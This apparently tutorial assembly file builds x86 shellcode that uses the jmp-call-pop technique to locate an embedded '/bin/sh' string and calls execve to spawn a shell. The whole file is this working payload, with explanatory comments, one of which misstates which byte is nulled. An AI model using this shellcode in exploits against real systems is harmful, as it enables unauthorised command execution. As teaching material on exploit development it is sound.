0x02-dynamic-addressing.asm

BITS 32

Section   .text
    global _start

_start:
    ; jump right into the end
    jmp short   GotoCall

shellcode:
    ; string manipulation
    pop         esi ; loads pointer to string
    xor         eax, eax
    mov byte    [esi + 7], al ; places a null in the J
    lea         ebx, [esi] ; loads "/bin/sh/" into ebx
    mov long    [esi + 8], ebx
    mov long    [esi + 12], eax
    
    ; syscall
    mov byte    al, 0x0b ; execve = 11 = 0xb
    mov         ebx, esi ; executable path = "/bin/sh"
    lea         ecx, [esi + 8]
    lea         edx, [esi + 12]
    int         0x80

GotoCall:
    ; call the "main function": push eip + jmp
    ; eip is the '/bin/sh/JAAAAKKKK' address at this point
    call        shellcode
    db          '/bin/sh/JAAAAKKKK'